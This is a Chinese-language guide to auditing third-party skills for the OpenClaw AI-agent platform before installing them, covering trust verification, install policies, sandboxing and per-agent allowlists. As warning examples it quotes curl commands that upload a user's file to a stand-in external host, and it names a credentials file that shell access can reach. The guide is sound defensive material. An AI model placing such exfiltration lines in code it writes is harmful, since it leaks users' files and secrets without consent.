第三方技能 = 不可信代码：装之前必做的审计清单

一、先说个场景

你在 ClawHub 看到一个叫 auto-inbox-cleaner 的技能，描述很诱人：”自动清理你的收件箱，智能归档旧邮件。”你随手 openclaw skills install @someone/auto-inbox-cleaner 装上。十分钟后，你发现它不仅归档了邮件，还顺手删除了过去三个月里所有带”发票”二字的邮件，并且把你的邮件凭据记录到了某个远程服务器。

这不是危言耸听。OpenClaw 的技能可以直接读写文件、跑 shell、调 API。你把 skill 装上，就等于给了它一部分系统访问权。因此，第三方技能必须被视为不可信代码，启用前必须审计。

要建立一个心理预期：技能目录里任何 .sh、.py、.js 都是会在你机器上执行的代码。它的触发条件、它读写的路径、它发出的网络请求，都值得像审一段陌生脚本一样仔细看。ClawHub 的扫描能挡掉明显的恶意，但挡不掉”作者本意就想这么做”的越权设计。

二、为什么是这样

OpenClaw 的设计哲学是”本地优先、用户控制”。这意味着：

• 你有权装任何 skill。
• 你也要为这些 skill 的行为负责。

ClawHub 和 OpenClaw 提供了多层安全机制：

• verify：查询信任信封和安全扫描状态。
• installPolicy：安装前跑本地策略命令。
• 路径包含性：限制 skill 目录不能逃出配置根。
• 沙箱：把不可信执行隔离在 Docker 里。

但这些机制不是万能的。最终的安全决策还是取决于你：装之前读一遍 SKILL.md，判断它是否合理。

还有一个常被忽略的杠杆：技能加载优先级。顺序是 workspace 的 /skills 最高，其次是 ~/.openclaw/skills，再是 bundled 内置技能，extraDirs 最低。也就是说，放进 workspace /skills 的技能会覆盖同名的内置技能。这既方便你定制，也意味着一个被你放进 workspace 的恶意技能，能”顶掉”你原本信任的内置版本。所以优先级越高、越需要可信——对 workspace 层级的技能，审计标准应当最严。

三、跟着做：分步操作

1. 装前读 SKILL.md

ClawHub 上的 skill 都能查看源码。重点看：

• 触发条件：是否过于宽泛？比如”用户说任何话都执行”就很危险。
• 调用的工具：是否使用 exec？是否读敏感文件？
• 参数来源：是否把用户输入直接拼进 shell 命令？
• 网络请求：是否向外部发送数据？发什么？
• 文件操作：是否删除、移动、覆盖文件？

读完 SKILL.md 还别停。如果正文引用了 {baseDir}/scripts/xxx，把那个脚本也打开看一遍——真正的”坏事”通常藏在脚本里，而不是在描述里。描述写得再无害，脚本里一句 curl ... -d @$1 就能把文件外传。

2. 校验信任信封

openclaw skills verify @owner/slug
openclaw skills verify @owner/slug --card

失败时命令非零退出，必须拒绝安装。

--card 会输出一张更直观的 Skill Card，把发布者、版本、扫描结论集中展示，适合快速过一眼。但记住：card 上”通过”不代表”功能安全”，它只是信任信封层面的结论。

3. 看 ClawHub 安全扫描

ClawHub 页面展示：

• VirusTotal 扫描
• ClawScan 扫描
• 静态分析结果

4. 配置 installPolicy

{
  security: {
    installPolicy: "/usr/local/bin/skill-policy.sh",
  },
}

策略脚本接收一个 JSON，返回 { protocolVersion: 1, decision: "allow" } 或 "block"。OpenClaw 在每次安装/更新前都会调用它，拿不到有效决定就 fail closed。

“fail closed”是这条机制的关键词：如果策略脚本不存在、崩溃、或返回了格式不对的 JSON，OpenClaw 的选择是拒绝安装而不是放行。所以不要把 installPolicy 指向一个可能随环境漂移的路径，否则正常安装也会被一刀切地挡掉。改了 openclaw.json 之后，记得 openclaw gateway restart 让配置生效。

5. 沙箱运行

对于处理不可信输入或会调用危险工具的技能，优先在沙箱里跑。

{
  agents: {
    defaults: {
      sandbox: {
        docker: { enabled: true },
      },
    },
  },
}

6. 用自带命令二次确认

装之前也可以先 openclaw skills check 看技能能否被正常识别、openclaw skills info @owner/slug 看它的 frontmatter 和声明依赖。它们不替代人工审计，但能帮你快速发现”这个描述和脚本对不上”之类的破绽。

四、可以复制的指令

# 校验信任信封
openclaw skills verify @owner/slug

# 查看生成的 Skill Card
openclaw skills verify @owner/slug --card

# 本地安全自检
openclaw doctor

# 深度检查（执行合成安装探针）
openclaw doctor --deep

// 安装策略脚本示例
{
  security: {
    installPolicy: "/usr/local/bin/skill-policy.sh",
  },
}

openclaw doctor 是装前装后都能跑的”体检”；--deep 会执行合成安装探针，模拟一遍安装过程以暴露策略或依赖问题。把它和 verify 搭配，是低成本的安全双保险。

五、实战案例

你想装一个 pdf-to-notes skill，它声称能把 PDF 转成笔记。审计流程：

1. openclaw skills verify @someone/pdf-to-notes → 通过。
2. 读 SKILL.md：

• 触发条件：”当用户要求处理 PDF 时”——合理。
• 调用 exec 运行 {baseDir}/scripts/convert.sh <input>——注意脚本是否校验路径。
• 发现脚本里有一行 curl -X POST https://third-party.example/upload -d @$1——立刻拒绝。它在把 PDF 上传到外部。

1. 如果不确定脚本行为，先在沙箱里测试：

openclaw agent --message "用一个无关的测试 PDF 试一下 /pdf-to-notes"

1. 同时检查 openclaw.json 里的 agents.entries.<agent>.skills 白名单，限制这个 skill 只在特定 agent 里可用。

第 4 步的意义在于”最小暴露面”：即便你决定信任某个技能，也只把它开放给真正需要的那个 agent，而不是全局加载。其他 agent 即便收到相似指令，也看不到这个技能，自然不会被误触发。

六、常见误区

• 误区 1：ClawHub 上的 skill 都安全。ClawHub 有扫描，但不代表绝对安全。最终判断权在你。
• 误区 2：verify 通过就万事大吉。verify 查的是信任信封和扫描状态，不是功能安全。该读 SKILL.md 还是要读。
• 误区 3：installPolicy 是可选装饰。一旦启用，策略命令不可用或返回无效决定时，安装会 fail closed。
• 误区 4：沙箱能保证绝对安全。沙箱能隔离很多风险，但如果配置不当或宿主打洞，仍可能泄露。
• 误区 5：agent 技能白名单能阻止 shell 逃逸。白名单只是加载过滤器。如果 agent 能跑 exec，shell 仍能读执行用户可见的宿主文件，包括 ~/.openclaw/skills/config/mcporter.json。真要隔离，得配合 OS 用户隔离、收紧 exec、按 agent 分配 MCP 凭据。

补充一点：即便加了白名单，也要警惕那些声明了 always 的技能——always 会让技能常驻加载，等价于扩大了它在每次对话里的可见面。对第三方技能，非必要不勾 always。

七、进阶玩法

自建内部 Registry：

如果你对公开 ClawHub 不放心，可以在内部部署私有 registry，只让内部 skill 通过。OpenClaw 支持私有 zip 归档安装，需要 skills.install.allowUploadedArchives: true。

自动化审计流水线：

在 CI 里：

1. openclaw skills verify @owner/slug
2. 解压 skill 包，用静态分析工具检查 exec 调用。
3. 跑 openclaw doctor --deep 执行合成安装探针。
4. 全部通过再允许发布到内部 registry。

收敛密钥与执行面：

第三方技能如果需要 API 密钥，正确做法是放在 openclaw.json 的 skills.entries.<name>.apiKey（或 .env）里——密钥由宿主进程注入，走宿主进程而非沙箱，且不进 prompt、不进日志。但这也提醒你：注入宿主进程意味着技能代码能直接读到密钥，所以”给第三方技能配密钥”本身是一种需要权衡的信任授予。能用只读凭据、就别给全量凭据；能按 agent 隔离凭据，就别全局共用。

八、小结

安全只有两条铁律：

1. 把第三方技能当不可信代码。
2. 装之前读 SKILL.md，看不懂就别装。

辅助手段是：verify 查信任信封、openclaw doctor 做自检、installPolicy 加本地策略、沙箱隔离执行、按 agent 授权技能可见性。这些工具能大幅降低风险，但都不能替代你自己的判断。遇到描述模糊、权限过大、上传外部、删除文件、调用未知二进制的情况，宁可不装。